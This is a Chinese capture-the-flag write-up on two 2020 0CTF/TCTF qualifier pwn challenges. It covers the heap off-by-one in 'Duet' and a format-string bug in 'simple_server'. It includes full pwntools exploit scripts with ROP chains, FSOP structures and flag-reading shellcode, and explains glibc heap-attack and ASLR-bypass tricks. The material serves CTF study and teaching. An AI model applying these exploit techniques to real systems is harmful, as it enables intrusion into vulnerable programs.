2020 0CTF/TCTF quals 部分PWN WriteUp
Duet
分析
这个题目又是一个PLT表损坏,ida无法分析的题目。修复方法是将.got中的偏移修改为extern的位置,之后ida就会自动识别相应的函数,此时我们将.got中对应的DATA XREF中函数(.plt.sec)的命名更改之后,ida就可以正常的分析函数了。具体的修复方法点这。
程序一共提供了四种功能add, delete, show, edit。存储两个堆块指针,可分配的堆块的大小为0x80-0x400。只能使用一次edit,并且在该函数中存在一个off-by-one的漏洞。

同时设置了sandbox

只能通过orw进行,因此我们需要执行ropchain。
利用
- 利用
off-by-one我们可以进行overlap,泄露出libc基址。 - 接下来就是
FSOP的利用了。
libc2.24之后的版本中增加了对vtable的检查,而libc2.29相对libc2.27之前的IO_strfile来说,其分配和释放内存的函数都被修改为了标准的malloc,free函数,因此没有办法直接getshell

EXP1
直接覆写io_list_all或者stderr->chain。伪造io_file链表,利用_io_str_overflow函数中的malloc和memcpy函数实现任意写。看一下源码
1 | int |
注意到这里会申请一个new_size=2 * old_blen + 100大小的new_buf,并执行memcpy (new_buf, old_buf, old_blen);操作,这里的old_blen的计算方式是#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),也就是说如果我们控制了IO_FILE结构体,并伪造_IO_buf_end和_IO_buf_base就可以申请任意大小的堆块,如果提前布置好堆布局,就可以分配到任意的内存地址,利用memcpy执行任意地址写。需要绕过几个条件
1 | 1. ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |
这里我们可以覆写__malloc_hook/free_hook地址,但是我们只能采用orw,可以采用setcontext进行栈迁移,但是setcontext+53的地址之后我们还需要控制rdi,来控制传入setcontext函数的参数。注意到IO_str_overflow中的

此时rdi的值为io_file结构体的起始地址,因此我们可以通过伪造的IO_FILE结构体控制rdi的值。因此可以覆写__malloc_hook的地址为setcontext+53的位置,在下一个IO_FILE结构体中控制rdi的值进行栈迁移。最终执行ropchain
- 利用
overlap泄露libc基址 - 伪造
large bin,并覆写tcache->fd为_malloc_hook地址,分配两次即可得到_malloc_hook指向的内存 - 利用
large bin attack覆写stderr->chain为控制的堆地址 - 在堆内存中伪造三个
IO_FILE结构体。第一个消耗tcache的第一个堆块,第二个申请得到__malloc_hook所在的内存,覆写为setcontext+53地址,第三个则控制rdi,调用setcontext进行栈迁移,指向ropchain
首先先泄露libc基址
1 | for i in range(7): |
此时我们进行完成了overlap,通过0x1f0的堆块可以控制0x180堆块的堆头数据。之后可以利用largebin attack改写stderr->chain。
1 | delete(1) |
将0x180的堆块伪造成一个0x400大小的堆块,这里需要注意的是,申请一个足够大小的chunk,一个功能是做padding防止0x400 chunk与top chunk合并,另一个功能就是伪造0x400 chunk的相邻chunk,绕过free的合并检查。同时改写0x310 chunk的tcache fd为_malloc_hook的地址,只要分配两次就可以分配到_malloc_hook的位置,为之后的覆写做准备。利用large bin此时也能泄露堆地址。
此时0x400 chunk已经在large bin中,接着利用0x1f0的overlap堆块修改0X400 largebin chunk的bk_nextsize指针,再次释放一个大小大于0x400的large bin的时候就会在bk_nextsize+0x20的位置写入一个堆地址。这样我们就改写了stderr_chain指向我们控制的内存区域
接下来就是伪造IO_FILE链表了。因为__malloc_hook所在的tcache为0x310大小,因此控制在Io_str_overflow中的new_size的大小为0x310。最终伪造的IO_FILE链表如下所示。
最终成功执行ropchain。
在执行setcontext的时候只要控制好rdx+0xxx位置的内存值即可
1 | # encoding=utf-8 |
EXP2
除了覆盖stderr之外,还可以直接覆盖global_max_fast,利用fastbin attack。大佬们的WP中出现了两种思路,
一种是直接利用
fastbin attack将内存分配到main_arena区域,由于free_hook-0xb68的位置存在一个0x100,可以作为size,因此可以将内存分配到此位置,并伪造top chunk,经过三次分配0x410大小的堆块,就可以将内存分配到free_hook位置处。但是在伪造top chunk的时候需要注意绕过检查*(main_arena+0x78) == main_arena+0x60
size > av->system_mem // 0x21000, 不然会触发fast bin合并但是只能进行
orw,也就是需要调用setcontext+53进一步控制执行流,也就是我们需要控制rdx的值。此时如果我们释放堆块,那么rdi的值就是堆块的起始地址。下面就是寻找如何通过rdi控制rdx。
注意到
IO_wfile_sync这个函数,其中可以通过rdi控制rbx,rax,rdx,rsi,r12,并且最终会调用[r12+0x20],如果我们将r12+0x20存储的位置改写为setcontext+53,而又可以通过rdi控制rdx就可以继续劫持控制流进行栈迁移,最终执行ropchain。这里用的是
tcache stashing unlink覆写global_max_fast。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200# encoding=utf-8
from pwn import *
file_path = "./duet"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
ins = ["琴", "瑟"]
def add(index, size, content=b"a"):
p.sendlineafter(": ", "1")
p.sendlineafter("Instrument: ", ins[index])
p.sendlineafter("Duration: ", str(size))
p.sendafter("Score: ", content.ljust(size, b"\\x00"))
def delete(index):
p.sendlineafter(": ", "2")
p.sendlineafter("Instrument: ", ins[index])
def show(index):
p.sendlineafter(": ", "3")
p.sendlineafter("Instrument: ", ins[index])
def edit(content):
p.sendlineafter(": ", "5")
p.sendlineafter("合: ", str(content))
for i in range(6):
add(0, 0x88)
delete(0)
for i in range(7):
add(0, 0x1b0)
delete(0)
for i in range(6):
add(0, 0x98)
delete(0)
for i in range(7):
add(0, 0x1f0)
delete(0)
for i in range(7):
add(0, 0x240)
delete(0)
for i in range(7):
add(0, 0x2e0)
delete(0)
for i in range(7):
add(0, 0x240)
delete(0)
for i in range(7):
add(0, 0xf0)
delete(0)
for i in range(7):
add(0, 0x100)
delete(0)
add(0, 0x1b0)
add(1, 0x88) # padding
delete(0)
delete(1)
add(0, 0x1b0 - 0xa0)
delete(0)
add(0, 0x1b0) # 0xa0 chunk in small bin
add(1, 0x1f0) # 0x200 chunk to overlap
delete(0)
add(0, 0x1b0-0x90) # 0x90 chunk in unsorted bin and next is 0x200 chunk
delete(0)
add(0, 0x1f0, b"\\x00"*0xe8+p64(0x200-0xf0+1)) # 0x200 chunk 2 fd is 0x200 chunk 1(overlap)
edit(0xf1)
delete(1)
add(1, 0x3f0, b"\\x00"*0x48 + p64(0x401-0x50)) # 0x2f0 chunk to unsorted bin
delete(1)
add(1, 0x240, b"\\x00"*0x1f8+p64(0x201)) # 0xa0 chunk 1 in unsorted bin
delete(0) # 0x200 chunk2 <-> 0xa0 chunk 1, 0x200 chunk2 + 0x50 is 0xa0 chunk 1
show(1)
p.recvuntil("瑟: ")
p.recv(0x200)
heap_address = u64(p.recv(8))
libc.address = u64(p.recv(8)) - 96 - libc.sym['__malloc_hook'] - 0x10
main_arena_address = libc.sym['__malloc_hook'] + 0x10
log.success("heap address {}".format(hex(heap_address)))
log.success("libc address {}".format(hex(libc.address)))
global_max_fast_address = libc.address + 0x1e7600
free_hook_address = libc.sym['__free_hook']
# tcache stashing unlink attack
# change small bin fd and bk
payload = b"\\x00"*0x48 + p64(0xa1) + p64(heap_address - 0x540) + p64(global_max_fast_address - 0x10)
payload += b"\\x00"*0x80 + p64(0xa0) + p64(0x110)
add(0, 0xf0, payload) # 0xa0 to small bin, 0x100 chunk in unsorted bin
delete(0) # 0x200 chunk2 in unsorted bin
add(0, 0x90)
log.success("gloabl max fast has been changed")
delete(0) # 0xa0 chunk 1 to fast bin
delete(1) # 0x250 chunk to fast bin, +0x200 chunk is 0x200 chunk 2
add(0, 0x240, b"\\x00"*0x1f8 + p64(0xe1)) # 0x200 chunk2 changed to 0xe0 chunk(unsorted bin)
delete(0)
add(0, 0xd0, b"\\x00"*0x48 + p64(0x201)) # 0xa0 chunk1 change to 0x200 chunk
payload = p64(0) + p64(0x201) + p64(0) + p64(0x191) + p64(0) + p64(0x181) + p64(0) + p64(0x171) + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141)
payload += p64(0) + p64(0x131) + p64(0) + p64(0x121) + p64(0) + p64(0x111) + p64(0) + p64(0x101) + p64(0) + p64(0xf1)
add(1, 0x1f0, payload)
delete(1)
add(1, 0x240, b"\\x00"*0x1f8 + p64(0x91)) # +0x200 is 0xa0 chunk, changed to 0x90 chunk
delete(1)
delete(0) # 0x90 chunk to fast bin
add(1, 0x240, b"\\x00"*0x1f8 + p64(0x91) + p64(0x111))
delete(1)
add(0, 0x80, b"\\x00"*0x48 + p64(0x81))
add(1, 0x240, b"\\x00"*0x1f8 + p64(0x111))
delete(1)
delete(0)
add(0, 0x240, b"\\x00"*0x1f8 + p64(0x111) + p64(main_arena_address + 64))
payload = b'\\x00'*0x48 + p64(0x201)
payload += b'\\x00'*0x70 + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141) + p64(0) + p64(0x131)
add(1, 0x100, payload)
delete(0)
add(0, 0x240, b"\\x00"*0x1f8 + p64(0xe1))
delete(0)
delete(1)
top_chunk = free_hook_address - 0xb68 + 0x10
payload = b"\\x00"*0x10 + p64(top_chunk) + b"\\x00"*0xc8 + p64(main_arena_address + 304) + p64(304*2+1)
add(0, 0x100, payload)
add(1, 304*2-0x10, b"\\x00"*0x18 + p64(0x21))
delete(0)
pad = main_arena_address + 0x60
payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3 + p64(free_hook_address - 0xb68 - 1) + p64(pad)*22 + p64(0x21)
add(0, 0x100, payload)
delete(0)
delete(1)
p_rdi_r = 0x0000000000026542 + libc.address
p_rdx_r = 0x000000000012bda6 + libc.address
p_rax_r = 0x0000000000047cf8 + libc.address
p_rsi_r = 0x0000000000026f9e + libc.address
p_rsp_r = 0x0000000000030e4e + libc.address
syscall_address = 0x00000000000cf6c5 + libc.address
flag = free_hook_address + 8
read_address = libc.sym['read']
write_address = libc.sym['write']
setcontext_address = libc.sym['setcontext'] + 53
row = flat([
p_rdi_r,
flag,
p_rsi_r, 0,
p_rdx_r, 4,
p_rax_r, 2,
syscall_address,
p_rdi_r, 3,
p_rsi_r, heap_address,
p_rdx_r, 0x20,
read_address,
p_rdi_r, 1,
p_rsi_r, heap_address,
p_rdx_r, 0x20,
write_address
])
gdb.attach(p, "b *0x555555555BC7")
add(0, 0xf8, b"\\x00" + p64(0) + p64(0x21001))
add(1, 0x100, p64(pad)*2 + p64(top_chunk) + p64(pad)*3)
delete(1)
add(1, 0x400)
delete(1)
add(1, 0x400)
delete(1)
target = free_hook_address - 0x328
rdx = target + 0xe0 - 0xa0 -0x8
target_rsp = target + 0xe0
io_write_sync = libc.sym['_IO_wfile_sync']
payload = p64(0)+p64(1) + p64(2) + p64(rdx)*4 + b"\\x00"*0x60 + p64(target + 0xb0)
payload += p64(target) + p64(0)
payload += b"\\x00"*0x20 + p64(setcontext_address) +p64(target_rsp + 8)
payload += row
payload = payload.ljust(0x328, b"\\x00") + p64(io_write_sync) + b"./flag\\x00"
add(1, 0x400, payload)
delete(1)
p.interactive()第二种则是利用
stdout的flag中的0xfb伪造fast bin chunk,从而分配chunk到stdout上。这里对size的检查是用的eax,也就是低4字节,前面的地址残余无影响
将
stdout的vtable改为IO_wfile_jumps_mmap+40,即将__xsputn函数指针指向_IO_wfile_sync,这样puts函数在进行输出的时候就会调用_IO_wfile_sync函数,该函数内通过rdi即stdout控制r12的值为gadget的地址,其作用如下1
2
3
4
5mov rdx, qword ptr [rdi + 8] # << +0x12be97
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax这样就可以继续劫持控制流到
setcontext,并且将rdx设置为参数。最终调用mprotect关闭不可执行保护执行shellcode。贴出大佬的WP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = 'pwnable.org'
port = 12356
binary = "./duet"
context.binary = binary
context.log_level = "debug"
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def new(index,data):
r.recvuntil(": ")
r.sendline("1")
r.recvuntil("Instrument: ")
r.sendline(index)
r.recvuntil("Duration: ")
r.sendline(str(len(data)))
r.recvuntil("Score: ")
r.send(data)
pass
def remove(index):
r.recvuntil(": ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(index)
pass
def show(index):
r.recvuntil(": ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(index)
def heap(b):
r.recvuntil(": ")
r.sendline("5")
r.recvuntil(": ")
r.sendline(str(b))
if len(sys.argv) == 1:
r = process([binary, "0"])
else:
r = remote(host ,port)
if __name__ == '__main__':
fuck = {0: "琴",1:"瑟"}
for i in range(7):
new(fuck[0],"A"*0x80)
remove(fuck[0])
new(fuck[0],"A"*0xe0)
remove(fuck[0])
new(fuck[0],"A"*0xf0)
remove(fuck[0])
new(fuck[0],"A"*0x1e0)
remove(fuck[0])
new(fuck[0],"A"*0x140)
remove(fuck[0])
new(fuck[0],"A"*0x88)
new(fuck[1],"A"*0xf0)
remove(fuck[0])
heap(0xf1)
new(fuck[0],p64(0x81)*60)
remove(fuck[1])
new(fuck[1],p64(0x21)*96)
remove(fuck[1])
new(fuck[1],p64(0x91)*31 + p64(0x91) + b"\\x00"*0x88 + p64(0x21)*11)
remove(fuck[0])
show(fuck[1])
r.recv(0x105)
libc = u64(r.recv(6).ljust(8,b"\\x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
new(fuck[0],p64(0x21)*60)
remove(fuck[0])
remove(fuck[1])
new(fuck[0],p64(0x21)*128)
remove(fuck[0])
for i in range(6):
new(fuck[0],"A"*0x400)
remove(fuck[0])
new(fuck[0],"A"*0x400)
new(fuck[1],"A"*0x200)
remove(fuck[0])
remove(fuck[1])
new(fuck[0],"A"*0x80)
new(fuck[1],p64(0x91)*31 + p64(0x421) + b"\\x00"*0x88 + p64(0x21)*11)
remove(fuck[0])
show(fuck[1])
r.recv(0x10d-8)
heap = u64(r.recv(6).ljust(8,b"\\x00")) - 0x4d90
print("heap = {}".format(hex(heap)))
global_max_fast = 0x1e7600 + libc
remove(fuck[1])
new(fuck[1],"A"*0x90)
remove(fuck[1])
new(fuck[0],"A"*0x400)
new(fuck[1],b"A"*0x58 + p64(0x421) + p64(global_max_fast-0x20)*2 + p64(global_max_fast-0x20)*2 + b"A"*0xc0)
remove(fuck[0])
print("libc = {}".format(hex(libc)))
_IO_wfile_sync = libc + 0x1e5fc0
magic = libc + 0x000000000012be97 # mov rdx,QWORD PTR [rdi+0x8] ; mov rax,QWORD PTR [rdi] ; mov rdi,rdx ; jmp rax
print("_IO_wfile_sync = {}".format(hex(_IO_wfile_sync)))
payload = b"Z"*0x30
setcontext = 0x55e35 + libc
payload += p64(setcontext) + p64(heap + 0x4df0)+ b"\\x00"*0x10 + p64(magic)
payload += cyclic(96) + p64(heap) + p64(0x21000) + p64(0)*2 + p64(7)*3 + p64(heap+0x4ea0)
payload += p64(libc + 0x117590) + p64(heap+0x4ea8)
payload += (asm(shellcraft.open("./flag")) +
asm(shellcraft.read("rax",heap+0x100,0x100)) +
asm(shellcraft.write(1,heap+0x100,"rax")) + b"\\xeb\\xfe")
payload = payload.ljust(0x3f0,b"F")
new(fuck[0],payload) # large bin attack success
remove(fuck[1])
new(fuck[1],b"C"*0x58 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(heap+0x2c20)*2 + p64(0x21)*24) # fix large bin
remove(fuck[1])
remove(fuck[0])
new(fuck[0],"A"*0x98)
new(fuck[1],b"D"*0x58 + p64(0xf1) + b"D"*0xe0)
remove(fuck[0])
remove(fuck[1])
new(fuck[1],b"D"*0x58 + p64(0xf1) + p64(libc + 0x1e575b) + b"D"*0xe0)
remove(fuck[1])
new(fuck[0],"D"*0xe8)
payload = (p64(0x00000000fbad2887) +
p64(libc + 0x1e57e3)*7 +
p64(0)*7 +
p64(0xffffffffffffffff) +
p64(0) +
p64(libc + 0x1e7580) +
p64(0xffffffffffffffff) +
p64(heap + 0x4dd0) +
p64(heap + 0x4da0) +
p64(0)*3 +
p64(0x00000000ffffffff) +
p64(0)*2 +
p64(_IO_wfile_sync - 0x38) )
payload = payload.ljust(0x100,b"\\x00")
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(r, "b *0x555555555BC7")
# Fastbin attack stdout to get stdout buffer (stdout flag is 0x000000fbxxxxxx, so 0x000000fb can use to be fastbin size).
# Change puts stdout vtable to _IO_wfile_sync, and contorl rip & rdi
# Jump magic and setcontext to call mportect, and finally execute shellcode
new(fuck[1],payload[0xb:0xb+0xe8])
r.interactive()
simple_server
分析
预期解
程序保护全开,存在一个格式化字符串漏洞

但是远程将stderr重定向到了/dev/null,无法进行泄露,而且正常情况下格式化字符串漏洞只能调用一次。先来看一下fprintf处的栈数据。

函数发生的调用是main->sub_141d->sub_13c1->fprintf。这里的rbp链是0x7fffffffe430 —▸ 0x7fffffffe550 —▸ 0x7fffffffe570。
如果我们更改了e550中存储的地址的低字节,那么在141d函数返回的时候就可以劫持栈到修改的地址,如果在此处提前布置好one_gadget就可以getshell。
但是无法泄露地址,也就是无法得到one_gadget的实际地址,需要在栈中找到一个libc附近的地址,然后覆写其低四字节内容,从而得到one_gadget的实际地址。注意的是这里只能覆写低四字节的内容,因为%n不能超过int 的范围,也就是0x7fffffff。
从汇编代码来看141d和readint(12c9)函数是共用一部分栈空间的,栈中0x7fffffffe4c8地址处在readint中存储的是nptr的地址,也就是一个栈地址,并且随着输入的phone_number的字符串的长度的增加而增加,其初始值为x7fffffffe4d0,而改地址+0x18的位置存储了一个libc附近的地址,因此只要控制phone_number的长度为0x18就可以获得一个指向存储有libc附近地址的指针,就可以使用格式化字符串来修改指向的libc附近的地址为one_gadget的地址。

如果只是单纯的修改one_gadget的偏移,需要爆破的位数过多,这里学到一种方法就是利用%*$c或者%*m$c来指定输出的长度。这里这个m是第几个参数的意思,例如

假设需要将libc附近的地址改为libc_base+0xe58c3,在上图中改地址为0x7fdb136bb8c3,fprintf函数的第30个参数也就是libc附近初始值为0x7fdb13664400,因此需要将改地址+0x7fdb135d6000 + 0xe58c3 - 0x7fdb13664400个大小。格式化字符串如下
1 | "%{}c%*30$c%26$n".format(0x7fdb135d6000 + 0xe58c3 - 0x7fdb13664400 - 0xd) |
这里的%*30%c就是取第30个参数作为长度,也就是%325469184$c,0x13664400=325469184。最终将libc附近的地址改为我们想要的地址。这里就相当于绕过了地址随机化。
在调试的时候需要注意满足两个条件才可以(如上图),一个是rbp的低一字节地址需要>0xd0,这样才可以改写栈地址指向one_gadget-0x8的位置,第二个就是libc的地址的低四字节需要大于0x7fffffff,因为大于0x7fffffff之后会被认为是负数。
EXP
1 | # encoding=utf-8 |
其他方法
再来看一下调用sprintf函数时候的栈数据

在rop链的最后一条地址,程序返回之后会执行最后一个rbp(0xe570)地址中存储的返回地址,之后就会执行0xe578中存储的libc_start_main+231的指令,也就是执行exit。如果我们修改0xe578中存储的libc_start_main指令地址为one_gadget地址,这样的话在程序返回的时候就会执行one_gadget,从而getshell。需要注意的是在更改得到one_gadget地址之后需要将原RBP链复位,使得程序能正常返回。这里在运行one_gadget的时候环境发生改变,新的gadget的地址为0x4f3c2
1 | # encoding=utf-8 |
解2
这种方法没有用到%*来使用参数指定输出的长度,而是利用栈中0xe480/0xe498中存储的_start地址通过将改写rbp链将栈迁移到0xe490地址处,函数返回的时候就会进入_start函数,从而无限次利用格式化字符串漏洞。
此时就可以修改stderr,将其修改为stdout(修改_fileno成员变量为1)。这里可以利用栈中残留的_IO_2_1_stdin_指针,改指针在一般情况下与_IO_2_1_stderr_指针仅低两字节不同,而低3位数字是offset不受ASLR的影响,因此只需要爆破一位数字即可。那么首先修改一个栈地址,指向存储_IO_2_1_stdin_的位置,接着将_IO_2_1_stdin_修改为_IO_2_1_stderr_._fileno附近的地址,再次修改_fileno即可利用格式化字符串泄露libc地址,接着覆写返回地址为one_gadget即可getshell。具体参考这篇文章




